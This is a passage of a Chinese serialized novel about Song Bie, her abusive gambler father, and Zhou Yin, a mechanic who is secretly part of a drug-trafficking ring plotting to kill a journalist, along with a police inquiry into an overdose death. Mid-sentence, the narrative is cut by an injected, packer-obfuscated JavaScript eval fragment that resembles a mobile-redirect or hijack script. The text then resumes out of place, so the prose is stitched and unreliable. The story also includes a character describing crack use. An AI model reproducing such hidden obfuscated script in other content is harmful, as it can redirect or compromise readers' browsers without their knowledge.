“谢了。”她接过递来的烟和打火机,点燃接着说:“我不成的话不就是我吃亏你赢钱吗,玩玩。” 那些人坐下,桌上是刚才玩过的牌九,就干脆玩起了牌九。 孟良并没有加入到这次的对局里,只是站在一边看着,宋别的牌出奇的不好,全是散的,左边的人却十分好,天王地虎都在那边。前两局就输掉了不少筹码,几个人叫嚣着接着玩,宋别也没退,接着玩了几把,赢多输少,再往后都是赢了。 后面几个人发觉出不对,撂挑子不干了,宋别也没计较,咬着烟站起身,从嘴里吐出一口浓烟,烟头直接擦灭在桌上,目光扫过一众人,最后落到自己的筹码上,缓缓开口:“刚才赢得就当玩个乐呵,宋复的账咱们照常算,该多少是多少。各位看着都是熟客,我宋别在这儿交个朋友,以后各位卖我个面子,看见他来——” 说到这里,宋别的手指向角落里的宋复:“别留手,打出去。来一次打一次。” 她说完,从包里拿出钱一点点数,一个个发,也不心疼。众人看见这女人的穿衣打扮,都品出点意味来,纷纷点头应和。 宋别道过谢,也不多留,拎着宋复从这馆子里走了出去。孟良没跟,站在原地看她离开的背影,这姑娘真是够劲儿的,周寅他艳福不浅啊,就是不知道能不能消受的了。 父女两人坐进车里,宋别静等着不开口,指尖一下没一下地扣在方向盘上,把宋复折磨地没办法。做了几次心里建设,才终于试探着问道:“小别,你从那边回来了,回来几天了,怎么没跟我说一声?” “那你是想让我回来呢,还是不想?” 宋别冷笑一声,手指还在轻敲。 “这说的什么话,我当爸的,怎么会不想你回来。” “哦。”宋别给车点着了火,说道:“那去你家坐坐。” 话一出口,她很明显地就能感受到身边的男人紧张起来,这不奇怪,宋复怕他是应该的,毕竟现在他和他的好小三,都是靠她在养着。 宋复偷偷看她:“小别,你看也这个多年了,你就别和你杨阿姨过不去了吧,她可还给你生了个弟弟。” 宋别没理,一脚油门踩下去,朝马路上开。她没有开车里的空调,转而把两侧的窗户给全部降了下来,耳边的风呼啸而过,她莫名生出一种撞上某一个建筑物就此死去的兴奋感。 可是太不值了,和宋复这个烂人的血肉搅在一起,太恶心。 车速依旧没有降下来,一直到江北路的幸福小区,转进去的时候才稍稍降速。而后稳稳停在了七号楼下。 宋复的魂终于从后面追了上来,缓了一阵才终于开口:“小别,就当爸求你了,都过了这么多年了,你杨阿姨都给我生了个孩子,她也知道挺对不起你们母女俩的……” “下车。” 她没有多余的话,打开车门拿上包直接往下走,宋复被逼的没有办法,只好跟着她下去。 电梯在七楼停下,宋别按了下门铃,很快就有人过来打开了门,是那个小崽子。 宋远章看了看她,又去看她身后的宋复,估计是被她满身戾气吓到了,有点怯懦地问宋复:“爸,她是谁啊?” “听话小章,叫姐姐。”他说这话时小心用余光打量着宋别的神色,见她没有生气的意思,也在心里长舒了一口气。 宋别没理他,踩着高跟鞋直接进了门,一下锁定了坐在沙发上看电视的杨繁,甩过去包狠砸在了她身上。 杨繁几乎一下从沙发上弹了起来,尖叫出声:“宋别?!你干什么!真是什么人生什么孩子,一点教养都没有!” 这就是宋复口中的知道错?宋别走过去,穿着高跟鞋的她足足比杨繁高出一个头还多,她不废话,手指穿过她的发逢,攥住头发让她仰起头来,抬手扇了她一个巴掌。 本来该是十多年前就该打上去的,不过没关系,现在力气更大。 “杨阿姨,你怎么能这么对你的债主说话。”宋别浅笑,细长的手指钳住她的下巴,“也不想想,他一个赌鬼,这么多年拿什么养你和那个野种。” 杨繁挣扎不开,原本还在很瞪着她,却在听见这句话之后倏然瞪大了双眼。 宋复在一边央求:“小别,那是你杨阿姨和你弟弟!” 宋远章这时候也开始反应过来,开始跑过去打她,被她一脚踹出去一边。 宋别放开杨繁,她不是什么崇尚暴力的人,但说实话,有些人是不适合给讲道理的,不让她疼一疼,不知道脸在哪里。 杨繁揉着自己被捏得发疼的脸,转而去瞪宋复。她这时候才悠哉哉坐在沙发上,从包里拿出一个东西,摆在茶几上,抬头看向站在一边的男人,唇畔一丝丝地扯出笑,对他道:“爸,刚才想想,是我做的不对,这就来补偿你,签了它吧。” 她把那份文件往前推了推,眸色潋滟,顾盼生辉。这一副多情样子,十成十是从宋复那里传来的。 宋复心虚地看向她:“这是什么?” “钱啊。”她把文件翻开到最后一页,签名处的上面有一份数额,把宋复看得两眼发直。 宋别看向一边的宋远章,轻声道:“小野种,给你爸拿支笔。” “你才是野种!”宋远章在一边嘶吼,又要冲上来打她,被宋复一个眼神给瞪了回去,随后是一声呵斥:“让你去你就去!” 他在一边委屈地哭,就是不动,宋别笑着看了一眼,从自己包里拿出一支钢笔递给了宋复:“签了吧。” 宋复狐疑地看了一眼她,有些不敢信,却还是没能抵住钱的诱惑,写下了自己的名字,一式三份,三个名字写下去,宋别眼底的笑意越来越浓厚。 她拿起那三份文件,递了一份给杨繁,说道:“杨阿姨,虽说你挺不要脸的,可真要让你跟我爸饿死,我也实在不落忍。从今以后我不会再给他一分钱,不过我给他买了一份保险,受益人是你,要是他哪天一个不准头,被车撞了,从楼梯上摔了,到阎王殿里报道去了,这钱可都是你的。” “当然,谁知道怎么死。” 杨繁看着递到手边的那份文件,没去接,反而吓得跌坐在地上,惊恐地望着宋别,口中喃喃:“疯子,你这个疯子!他是你亲爸!” 宋别没去理会她的咒骂,而是把那份文件扔在她的脚边,耸耸肩:“我说什么了把你吓成这样,杨阿姨,我当然知道你是最爱我爸的了,这不,没结婚呢就急着开花结果了。” 她说完,拿起自己的包,眼神扫过这房间的一地鸡毛,心情无限好地朝门口走去。在她即将踏出房门的前一刻,一个什么东西从她耳边飞过,砸在地上,零件碎裂开来。 是刚才宋复签字的那支钢笔。 转过头,是宋复狰狞的面孔,说着和杨繁差不多的话,只是多了一句,早知道这样,在你生下来那天我就该掐死你。听的宋别不痛不痒,转头好心地提醒他:“爸,你急什么,两万块钱就这么被你摔了,多不值当。” 出了这栋楼,外面是黑沉沉的夜幕,星空晴朗,明日无雨。 想起刚才宋复骂她的样子,宋别心底满是快慰,这么多年养着他和他的野种,她是钱多,可不是蠢货,怎么来说他们也得给她点回报。比如,给她表演一场什么叫困兽之斗。 宋复说他没有人性,也不想想,她是谁的种。 宋别又想抽烟了,摸了摸口袋,空的。 她想起赌场上的那支烟,想起孟良,然后想起周寅。该去见他了。 宋别把车窗升了上去,速度降了下来,去见他的路上不该是那么匆忙的,急切的。她得慢下来,她得温和着去见他。 他们还来日方长。 时间已经很晚了,白杨路那一间的灯光还亮着,周围灯火俱灭,只有那一间,在等她。 她把车慢慢开过去,降下窗户,看见周寅坐在里面的一个工具箱上,什么也没有做,没有在抽烟,只是低着头,手上握着手机。 她低头翻找出那个他落下的钱包,打开看了看,里面一张证件照,两张卡,几张修车行的名片,这就是全部。无论是十年前还是十年后,宋别都没能彻底地了解过他,是繁复的还是简洁的,她都一无所知。 她转过头看昏黄灯光下的他,为什么是黄色的光呢,这样能看得清吗。 头顶的光把他的身影拉长,变形,身边是一些庞大的,叫不出名字的机器,他坚硬的躯体都变得渺小了。宋别有些看不下去,打开门的瞬间,周寅把头转了过来。 “宋别。”他站起来,叫了她一声,似乎觉得又该说些什么,于是道:“你来了。” “嗯,我来了。”宋别走过去,拿着钱包抽出一个东西,是他那一张两寸的证件照:“路不近,拿这个给我抵点油钱。” 她说话的时候已经走到了他面前,将钱包抵在他心口,地上一条瘦长的影子变成了两条。 周寅拿过钱包,张了张嘴,一些难言的情绪在喉头盘旋,沙哑着嗓音对她说:“宋别,你还记得撞你的那个司机吗,他死了。” 宋别神情微动,看向他,敛起眉眼。 “是吗,怎么死的?” “不知道,警察今天打电话过来说的,问知不知道他儿子的联系方式。”周寅低垂着眼眸,睫毛很长,盖下一片阴影。他从口袋里拿出烟放进嘴里,按下打火机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而后抬起头看向他,眼神有些醉心的迷离和沉溺,对他说:“还有毒,毒品——国外那边对这东西管得并不是很严,我第一次是在二十一岁那年,有种东西叫快客,把它放在易拉罐里点燃,烧出白烟,就会发出像是‘crack’的声音,把它吸进鼻子里,你知道那种感觉吗,那时候,生死都不是什么大事了。” “宋别。”周寅看向她,手指攥了攥,眼神由惊讶转向晦涩,“你吸毒,是吗?” “你要报警吗?”宋别一只手夹着烟,另一只手慢慢伸向他,指尖划过他的喉结向上,而后握住他的下巴,他没有胡茬,刮得很干净,但那地方还是有些生硬,她慢慢笑,把他的神情尽收眼底,“周寅,你就不想知道那是什么感觉?” 他坐的小马扎比她的地方低很多,被她握着下巴带着往她身前移动了两分,这样,就由俯视变成了仰视。周寅看着眼前的女人,大脑空了一瞬,已经来不及分辨她言语的真假,也来不及和她斡旋,有什么东西遥遥领先,把一切都抛诸脑后。 “宋别,这是中国。”周寅退回去,垂下眼,再看向她时眼神坚定了许多,“你真的吸毒吗?” 他握着手机的手逐渐用力,上面的青筋显露,像是真的要报警。 宋别收回手,重新把烟放进嘴里,猛抽了一口:“开玩笑,别这么认真。” 周寅缓缓吐出一口气,身体也随之放松下来:“你吓到我了。不过你怎么了解这么清楚?” “我胡说的,你也信吗。”宋别轻笑一声,那根烟已经抽完了,食指掸了掸烟灰,用手指捻灭,扔在他的脚下。“这烟还不错,人也是。” 她穿上鞋站起身,身下褶皱在一起的裙子一瞬间铺展开来,像条潺潺的河,哪怕坐了这么久,再次站起时依旧没什么印子,足见做工的精细。 “我送送你。”他也站起来跟着她走出去,见她上了车,轻扯了扯嘴角:“路上慢点。” 宋别没再说什么,朝他笑笑,升上车窗之前只说了两个字:“回见。” 车子扬尘而去,周寅还站在原地,眼神望向远方,不知道在看什么。手上的手机震动起来,他拿起来看了一眼,是孟良。 他舔了舔后槽牙,接起电话开始往回走。 “怎么样,有什么消息?” “她不好糊弄。”周寅道,“估计知道是高远是怎么死的了,过来套我话呢。这也不奇怪,毕竟然前一阵子刚把高远捞出来。” 他说这话时,忍不住想起宋别,她是不是个瘾君子他比谁都清楚,真正的瘾君子不是那样的,她或许装的很像,或许身边就有这一类的人做参考,但还是差的远。 灵魂的萎靡,精神的阉割,不是靠两个迷醉的眼神就足以淆乱耳目的。 “你就不怕到时候盯上你这边?” “没那么容易,我这儿也经得住查,过一段时间南下,现在处理的很干净,清理好最后一批‘骡子’就成了。”周寅说道,想起刚才宋别的话,状似不经意地问:“你去赌场了吗,宋别说碰见你了。” 孟良说:“巧了吗,那姑娘牌九玩得不赖。” 周寅嗯了一声,再没了别的话,挂断之前,孟良又恍然大悟一样跟他说了一件事。 “这两天慎着点,上面要来人。” “谁,吕澄阳?” “不是他,他怎么可能亲自过来。来的人是沈缚。”孟良道,“那怎么着,宋别那里没吐出来什么有用的,那个叫什么林康安的记者,找个机会,弄了得了。趁这两天下手,要不然沈缚发现了这事,小心是咱们俩触霉头。” 他说了声好,抬手挂断了电话。沈缚要来,这是件再平常不过的事,他们不是什么小作坊,上头领导也得时不时过来看看底下人办事得不得力。 只是这次掐着周寅离开的时间,有点不巧了。他也没有多问,嗯了一声就挂断了电话。 如他所料,比沈缚更先来的是警察。 他们来的比他料想的要慢一些,两个警察上门,一个负责记录,一个负责问问题,顺便观察他的反应。这些套路他早已经熟稔,也早已经应对自如。 警察来的时候他正躺在修车滑板上钻到车底修车,从里面出来时,绵白的手套已经满是油污,看着突然到访的警察,表现出很自然的惊讶和浅浅一丝慌张。 “同志,你们找我?” 两个警察对望一眼,点点头问他:“你是周寅吗?” 他脱下手套,给两人拿了两个小板凳请他们坐下,又给倒了一杯水,然后正襟危坐在他们面前,像个上学时被老师留堂的学生。 这是最普遍最正常的反应,谁都没有察觉出不对。高点的警察开始问他:“周寅,你和高远是什么关系?” “算是朋友。”他说,然后接着补充:“我的材料都是从他那里拿,一来二去的,偶尔也一块吃吃饭,喝喝酒。” “就你们两个吗,还有别人没有?” “我每回跟他出去就我俩,至于他有没有别的朋友我也不太清楚,就知道有个在北京上学的儿子。怎么了,他是犯什么事了吗?”说最后一句话时,他的语气也不自觉紧张了起来。 警察沉默了一秒,而后告诉他:“他死了,吸毒过量死的。” “死了?!”周寅险些没坐稳,镇定了两秒,重新看向警察:“同志,你说的是真的?老高吸毒,这不可能吧,我平常看着他都是挺老实一人啊。” “很多吸毒人员都是这样的,平常的时候看不出来,毒瘾一发作就忍不了了。你知道他平常还和别的人接触吗,有没有那些看着挺可疑的人?” 他似乎还没从刚才的事实里完全反应过来,愣了一下才说:“这我不知道,我和他接触这么长时间,都不知道他碰这东西……” 两个警察又对视了一眼,转了一个话题,问他:“周先生,方便问一下六月十三号那天晚上你在哪里吗?” “六月十三号,周四那天是吗?”周寅皱眉想了想,回答:“那天和一个朋友出去吃饭,在一中门口那家餐厅,我记得那天人特别多,我朋友喝了点酒,上车就睡了,我找不到她家,绕了一圈就给带回我这儿了。” 他们像是捕捉到什么重要信息,急切地问他:“既然是你朋友,怎么会不知道她家在哪儿?” “也不能算是不朋友,刚认识不久。就是那次高远撞车,坐在出租车后的乘客,她签了谅解书,我请她吃饭算道谢,她应该还记得那天的事。” “她叫什么名字?” “宋别。”周寅说:“宋玉的宋,送别的别。” 两个警察恍然想起来,不是别人,是林钊的女儿,高远死后,他们查他卷宗时发现这么一桩撞车案,宋别签字的谅解书还在文件夹里放着。 这么说起来,一切都合理。 两个警察似乎是没什么可问的了,于是转换了策略,问他:“周先生,介意我们随便看看吗?” 周寅摆摆手:“你们请便。” 他们一边看一边问一些无关痛痒话题,周寅一一作答,还下意识从口袋里摸了根烟点燃。 最后,楼上楼下都走一遍,没发现什么异样。他们其中戴眼镜负责记录的警察还是专门的缉毒警,也没有发现什么问题,最后跟他握了握手说:“感谢您的配合。” 两人上了警车,周寅在后面送别,神情收敛了几分,不悲不喜,就显出了几分麻木出来。想想他的伪装,动作,神态,还真可以说得上天衣无缝,他说不清这到底算不算是一种独特的天赋,无论何时,在扮演普通人这方面,他竟然都得心应手,无师自通。 周寅往肺里抽一口烟,吐出烟雾,望着警车驶过卷起又坠落的尘土,想象着在看不见的远方,射出一颗子弹,而后刺穿他的心脏。 这是他藏匿许久的心愿。 10. 第 10 章 1. 圣诞夜前夕的平安夜,澄州下起来了九六年冬天的第一场雪,那天的雪从到学校以后才开始下的,一开始还只是零零散散的几粒,到最后就演变成了鹅毛大雪。 这在这样一个北方城市并不算多稀奇,可稀奇就稀奇在,这雪是在平安夜下的,尽管学校里已经三令五申不准过洋节,但那时无知的孩子又怎能顾得了这些,十五六岁情窦初开,都只觉得这是好时机。 我去个厕所回来的空当,还没到位置上,就看上桌上堆起来的三五个精致包装的苹果,还有一个毛绒小熊,估计都不是那么便宜。 我当时在想什么,好像是,女生的钱真是好赚。 走到课桌前,身边的人开始起哄,熟悉我的人开始开我的玩笑,说我桃花朵朵开。 我看着那些五颜六色的包装盒,还有一些被丝带绑住的巧克力,把我的书和试卷全都压在下面,已经没什么空隙。我不太嗜甜,尤其是巧克力这种甜腻的东西,于是随手塞进了狗友的手里,至于苹果,平安夜吃苹果也不错,但那么多也不太能吃的完,只留了一个,拆开啃起来,剩下的也都分走。 狐朋不太好意思地说,这上面还明晃晃写着送给谢琅呢,我们就这么吃了不太好吧。我边啃边说,是送给我的,那是不是就是我的东西了,怎么处置是不是也该随我。 于是他们在我的劝说下也开始放下了良心,和我一样啃苹果。那时我确实不懂那种惊天动地要死要活的爱情究竟是什么感觉,在这方面我太迟钝,也从不过分追求。 以至于我这一生,好似都在辜负中度过。 不过我的报应很快就来了,放学之后,一个穿着白色棉服,裹在毛绒帽子里的脸冻得通红的女生在自行车棚那里把我堵住,咬着牙问我为什么把她送的巧克力和苹果都送给别人。 她说三个字,然后抽一下鼻涕,天上雪花飘飘北风萧萧,地上有个林妹妹泫然欲泣,我对女孩子没什么办法,随便扯了个慌说,我上辈子是二郎神的哮天犬,一吃巧克力就会死。 她没有哭,也没有笑,而是大喊了一声哥,然后不知道从哪里跳出来几个人,真像是天上来的天兵天将来捉我回去看家护院的。 我看着他们凶神恶煞的样子,又看了看那要哭不哭的女同学,好像是我欺负了她一样。我往后大撤一步,跟她拉开距离,无奈地说,姐姐,你讲点道理。 那个凶神恶煞的大哥也上前一步,指着她问我,我妹儿哪里不好,配你八个来回带拐弯的都不够! 真要论配不配的话,我看向不远处的那个女同学,本来还算小家碧玉,一哭起来,脸都皱在一起,不好看,特别丑。真的配不上。 我朝那个女同学走过去,问她,你期中考试多少分? 女同学说考了六百多分还是七百多分来着,我忘记了,反正挺低的。于是我词严厉色地劝她,你连一千分都没有考到,我不喜欢成绩差的同学,好好努力吧少年!不要辜负老师的教导,不要辜负家长的期盼,不要辜负自己的青春! 我趁她被我教育得开始反思自己时,抬脚就跨上了我的崔克蝴蝶,往前一别,把她扯到一边,而后蹬车赶紧离开。路上的雪还有的没被清理干净,我骑出学校,转弯的时候摔了个四脚朝天,不过好在没有被人看见。 揉了揉发疼的小腿,我推着车到一边,忽然慢下来,注意到这天的大雪,没来得及清理的雪被过往的车反复碾压成了一条雪道,天上落下一大片雪花在我的鼻尖,很冰,很凉,一瞬间就化开了。 我的脑海里不知道怎么就浮现了那个女同学皱皱巴巴的脸和要哭不哭的表情,心中开始又涌起一种迟钝的,浅薄的愧疚。 还有由她引渡而来的一缕伤情。 我不是什么阆苑仙葩,也不是美玉无瑕,即便我不屑去理解,即便我习惯于了高高在上,然而我终究还是常人,她的眼泪砸下来,再小,也还是翻起了涟漪。 只可惜愧疚很小,更多的,是我的疑惑。这究竟是怎样的一种情感,会让人泪如雨下,会让人如浴春风。 我推着自行车在雪地里慢慢前行,雪花落到我的鼻尖,我的额角,还有我的脸颊,停留两秒又很快消散。我知道,我也开始踏步向我的青春了。 在这一程里,我晓得,我也注定孤独。 我依稀记得我那时候是从没有什么多愁善感的,多愁不必说,我想要都已得到,还有什么值得我来惆怅。伤春悲秋更不用再提,我的人生一片坦途,我的前路没有任何坎坷。 至于我的这些狐朋,这些狗友,我从一开始也就明白,我们并不是一条路上的人。大概是因为早已有了这个认知,所以我也早盼别离,他们对于我而言,不过是同行过路,到了分岔路口,我去我的天南,他走他的地北。 可是为什么,当我再回首这段时光的时候,这样细小的,不值一提的情绪,在时间的浇筑下竟然开始兴风作浪,将我淹没。我在这片河海里沉浮,那些浪花和碎石灌进我的喉咙,侵袭我每一寸血肉,然后任我坠落。 我揉着刚才被摔疼的手腕,脑子里满是一些胡思乱想,过年了,我爸就快回来了,到时候我妈肯定会做一堆好吃的,不过应该只有那一天,剩下的几天大概就是我爸做饭,想想就害怕。 他做的饭不能说是难吃,只能说是勉强下咽。毕竟有我妈珠玉在前,再吃我爸的饭就会像吃糠咽菜。我原先一直以为自己的厨艺是遗传我爸的,曾经煮最简单的方便面都差点把厨房给点着,这方面的天赋实在是欠佳。 直到后来,没了他们遮风挡雨的庇佑,我一个人踏上那条路,有些事情就不得不会了,做得好吃还是难吃我已经无暇顾及,我只想要活下去。 再后来,我遇见了宋别,她很爱吃我做的鱼。 2. 警察找上宋别时她并不那么意外,估计他们也是顾念着林钊的存在,于是直接找到了公司。 他们去到那里的时候,从头到尾只有清洁阿姨看了让他们一眼,其余人都在各忙各的,没有一点闲暇,办公室的宋别更是如此,打开那扇门,就听见她用英文打着电话,比中文说得还要流利。 两个人等了十多分钟,她才终于挂断电话,转头看过来,请他们坐下:“真不好意思啊,让您等我这么久,两位警官尽管问,我一定知无不言。” “我们这次来,是想问问周寅和高远的事。”警察说道,另一个警察已经开始记录,“六月十三号那天晚上,你和他在一起吗?” 宋别点点头:“是,那天我们一起吃饭,我喝了点酒,就睡过去了。” “他一直和你在一起吗?” “至少醒的时候是这样的。”宋别眼睛微眯,看着他们问:“警官,高远死的事,你们怀疑他吗?” “高远是自己吸毒过量,这点毋庸置疑,已经结案了。” 到这里她就晓得了,这不是在找凶手,是在找毒源。只可惜,她身上也实在没什么有价值的信息,警察又问了几句,也意识到了这点,然后就握手离开。 他们走后,宋别忍不住点了一根烟,想了想,还是给林康安打去电话。林康安现在没在外跑新闻,电话一打就通,问她:“怎么想起你姐来了?” “想问问你,高远的事你都查出来什么东西了?” 林康安觉得有些奇怪:“宋别,你以前可是无利不起早的人,关心他的事干什么。” “这不是向你看齐,担当担当社会责任。警察刚才找我来了,说他的事已经结案,是自己吸毒过量而死。”宋别顿了顿,才接着开口:“你也这么想吗?” “不是。”谈到这件事,林康安的声音都有些肃穆了起来,“宋别,不会这么巧,我刚打通他这一关,他就吸毒过量死了。” “你的意思是说,是有人知道你们在联系,所以杀了他,那你自己岂不是也很危险?”宋别的眉头蹙了起来,“林康安,你搞什么鬼,回国了还不安生。” “你说得对,如果是这样的话,他们很可能对我下手,这样或许会有点线索……” “你脑子进水了是吗,妈的命都要没了还想着线索,回头让爸拿副手铐给你锁家里得了。”宋别对着电话破口大骂,气得把衬衫都往下扯了扯,解开两只扣子继续骂,“你他妈找死的话自己找个没人的地方抹脖子!” 林康安早已经习惯她的脾气,小时候的宋别还远没有现在这么暴躁,那时候被学校教育地很文明,骂人也不带脏字,是到了太平洋那边之后,深刻发现太文明不是什么好事,还是这么骂来的畅快。 “你急什么,我会小心的,这两天他儿子不是回来吗,应该能找到点有用的信息。” 宋别冷笑一声,讽刺道:“林康安,我是该说你热血呢还是该说你冷血,人家爹死了你还想着你的新闻呢?甭查了,高远和他儿子高晨的账户我都查过,没什么问题,他儿子在北京的学费是一个公司出的,那家公司从很在就开始做公益慈善项目,他儿子就是被资助对象。” 她抽了口烟,接着说:“你说他是贩,可是钱呢,那些警察不会没查过他的家,还有我说的这些账目,这么快结案,大概率就是什么疑点都没查出来,您这当太监的就别操皇上的心了。” 林康安是个犟种,撂下一句:“你不用管。”就直接挂断了电话。 宋别拿她真的没办法,她是什么人,不为五斗米折腰,金钱名利放在眼前瞅都不带瞅一眼的,看见新闻和毒品,就像狗进了茅坑。 看着手机上电话被挂断的显示,约莫是真的害怕林康安闷头往前闯,宋别的心底有些不安,思量着,给林钊发了个消息报备。可那股感觉还是没有消解,香烟燃尽,她蓦地想起烟雾背后的那双眼,周寅的身影就这样从她脑海里一闪而过,太过突兀,所以开始卷土重来。 宋别想,她得见他一面,就算没有理由。 她拿起手机,给那个号码拨了过去,那边很快接通,属于男性特有的低沉声音从听筒里传来,他开口,叫她的名字:“宋别。” “你在哪里?”宋别问他。 “修车呢,怎么了?” 她思索着理由,然后告诉他:“警察来找我了,我不知道该怎么说——我们见一面,我去找你。” 他顿了一秒,而后说:“好。”又补充了一句,“我等你。” 宋别挂断电话,捏着手机,最后把贺普叫进来交接了一下工作重点,一身轻松地上了车。 到光明修车行的时候,他确实是在修车,正看着电脑检测仪上的信息,一边坐着一个人,约莫是车主。她没在意,走进店里,倚靠在柱子上慢慢等他处理好。 反倒是那个车主,眼神一直在她身上游移,她正回头看过去时,就听见他有些惊讶地问她:“宋别,你是宋别?你回国了!” 宋别回望过去,是张不太熟悉的脸,戴着眼镜,颧骨很高,有些干瘦。 她想不起来是谁,可好在他身上戴着的工牌提醒了她,高中同学刘杨。 澄州的教育资源不算太过充沛,九几年的时候,补课也不太成规模,基本上都是实打实的成绩,她的高中同学里,只有这个刘杨和她上了同一所大学。 不过刘杨入学要比她晚一年,她不是高考去的,是自主招生。她在高中没朋友,年轻时比现在要锐利很多,不愿和庸人为伍,她的世界他们也理解不了。 所以走的那天也格外安静,每个同学都低着头刷自己的题,有一两个同学抬头看,但没有道别,他们也仿佛知道,她生来就是和他们不同的人。 直到后来,上大学以后为了劳动课时,她不得已去参加迎新,被刘杨认出了,要了联系方式。但也没有说过几句话,主要是不到两年,她就又被公派到太平洋的另一端留学,和谁都没了交集。 宋别不是不擅长社交,她只是太功利,只是习惯了用价值来衡量一切。 就比如,她很好的结识了陈斯年,这个深扎在西雅图和纽约土地上的家族的最小公子。他的母亲是他父亲费尔南迪的第二任妻子,小了他父亲十多岁,两个人的结合当时被媒体猜测是为了他母亲的华裔身份,可以帮助在大选中为他所处的党派赢得更多华人选票。 事实证明这也确实是个正确的选择。 在这种家庭下出生的陈斯年,或许应该叫艾德里安·布尔曼,也是一位天生的政客,商人。他有一套属于自己的论调,在资本主义的国家,生意做的好的人,也一定很会搞政治。 宋别这些年几乎是依靠着他的教导,才在北美这片土地上平步青云,大肆敛财。 至于曾经的那些同学,他们还不太够砝码让她费心记得。 宋别点点头,敷衍地说:“刘杨啊,真巧。” “是挺巧的。”刘杨道,说话时用余光瞥了一眼店外面她的车,“这么多年没见,都成大美人了,你也来修车吗?” 她点了一根烟,目光看向一边的周寅,又缓缓收回来,说道:“不是,我来找人。” 恰好,他这边也处理地差不多了,合上电脑朝这边走过来,对刘杨说:“先生,您的车修好了,一共七百二,给七百就好。” 刘杨从钱包里数着钱还在跟宋别说话:“你一走就是这么多年,我们都联系不上你,这不是巧了吗,过两天班长想着聚一下,你也来吧,咱们加个联系方式。” 她还是敷衍:“我的手机没电了,你说你号码吧,我回头联系你。” 刘杨很快报了一串数字,又叹了口气,开始跟她分享班里的八卦:“你还记得咱们班以前的那个丁茜吗,我记得你们俩还做过一段时间的同桌呢,真是造化弄人,年纪轻轻就得了尿毒症了,现在工作也做不了,每天透析花不少钱呐。对了,你来这里找谁的?” 宋别听他说话时,手指动了一下,这是个下意识的动作,对于他的话,她也很震惊。 她敛了敛眉眼,选择回答他末尾的问题:“我来找周寅,我来找他。” 刘杨的目光在两人之间逡巡了一圈,想说又不想说似的,给了钱就开车走了,临行前还特意叮嘱不要忘记联系他。 “朋友吗?”周寅问。 “高中同学,不熟。”宋别说。 他好像轻笑了一下:“看出来了。” 宋别抬头,快速捕捉到了这一眼稍纵即逝的笑意,她几乎没怎么见过他笑了,不像以前,他分明很爱笑的,乐起来跟什么似的。 “周寅,警察跟我问起你了。”她道,给自己的来意圆谎:“他们问我,六月十三号的晚上是不是一直跟你在一起。” “你怎么说?”周寅抽出一根烟,没有点燃,只是捏在手里。 宋别看他,勾唇浅笑:“我说是的,我们整晚都在一起。” 周寅往后退了一步,手扶在一个架子上,姿态很放松,他还在转着那根烟,没点,说道:“这么说,会让人误会。” 她笑笑:“所以他们就没往下问了。” 说起高远,周寅的神色也不免悲伤,那根被磋磨已久的烟终于折了下去,有些烟草散落出来。他叹口气,像是自言自语:“老高的儿子过两天回来了,还不知道怎么跟他说。我跟他认识这么久,怎么就不知道他碰这东西。” 宋别抬起头疑惑地问:“你都没发现过吗?吸毒的人很容易犯毒瘾的,身上应该也会有针孔之类的东西。” “老高有糖尿病,平常也会打胰岛素。”他说,好像又叹了口气:“我就没觉得奇怪。” 她打量着他,想着,如果真的和他有关系的话,那么周寅未免装得太过像了一点,那些哀叹,惋惜,全都恰到好处。不多不少,正好是对自己朋友逝去的悲痛。 周寅略过这个高远,又把话题转向了她:“你对这些这么了解吗?家里是不是也有人…” 他话说了一半,反应过来什么,很快戛然而止。 “家里没有,国外一些朋友会抽。”她耸了耸肩,如实回答:“所以就了解一些。” 周寅是想要将话题引到她家里人身上的,比如那个林康安。但宋别绝口不提,他也只好明说:“宋别,你姐姐是叫林康安吗?” “嗯,怎么了?” “那天看你手机来电的时候就有点熟悉,后来想起来,听高远提过这个名字。” 宋别睫毛轻颤,问他:“他说了什么?” “记不清了,也不太确定。我连他吸毒这件事都不知道,现在想想,还是很意外。”周寅拂过一把头发,又说:“可能真是记错了,高远怎么可能和你姐有联系,你别放心上。” “说不准,她是记者。”宋别道,转头看向店外面的车流,日光刺得她不得不眯起眼,“这些年一直做毒品专访,只可惜,没问出什么人就死了。” “这样啊……”周寅的眼神暗了一瞬,也只是让人无法捕捉的一闪而过,很快又看向她。只看见她的侧脸——她的脸很小,颌面很好看,侧面看得话,鼻骨高挺,眉毛细长,又像西方的骨,又像东方的皮。 怎么会有这样的女人呢,怎么会有呢? 宋别转过头,轻轻笑了一声:“我要说的事情说完了。你应该知道,我不怕应付什么警察的。” “周寅,我想见你。” “我知道。”他的唇角也轻轻扬起来,垂眸看着眼前被阳光披满身的人。 六月澄州的太阳很烈,很多人走在阳光底下要戴口罩要打伞,走路都要找阴影,生怕被晒黑。可她似乎不怕,她的肤色很白,被阳光一晒,更有一种清透的白,把所有血色都晒尽了。 周寅继续说:“我说我等你。” 这让宋别愣了一下,她习惯于站在掌控者的位置,习惯于主导一切事物的发展,第一次,有点不知所措的意味。 她擅长博弈,喜爱厮杀,只是这一次好像落了下风。这样不行。 宋别的余光瞥见街对岸一辆车慢慢从红绿灯那里转过来,像是奔着这里来的。她伸出手,扯过他的手掌。很大,比她的要大很多,上面筋络明显,即便已经洗净了,但还是隐隐散发着一些机油的味道。 她捧起那只手,指尖抚向食指的纹蛇,低下头,弯下腰,轻轻吻住。 那只手夹惯了烟,留存着一些淡淡的烟味,让她有些上瘾。 那辆车在点门前停下的时候,宋别的嘴唇已经离开,她仰头带着点意味不明的笑,转头瞥了一眼那辆车,拿东西离开:“周寅,下次见吧。” 周寅看着她的背影,把手里的那根烟,彻底揉碎了。 * 林康安这几天都没闲着,没少去高远楼下蹲点。这种事对她而言早就是熟门熟路,曾经没少在伊瓜苏的雨林小道和警察一起藏身,那里是三国交界处,往西是巴拉圭的东方市,往南就是阿根廷伊瓜苏港,是毒贩的钟爱之所。 在那里的时候少则一两个小时,多则两三天,现在在老小区楼下对她而言更不是难事。 小区里的一棵香樟树下有一个石桌,上面刻着象棋棋盘,每天下午和早上,一些老头老太就会聚在这里下象棋。 林康安起先只是看他们下,后来直接加入他们一起下了,顺便看看能不能从这些人嘴里问出来什么有用的信息。 信息倒是没问出多少,但人让她逮到了。 那天她正下着棋,看着他们也不知道什么,干脆让了老头一把,输给了她,然后从棋盘上退位让贤。 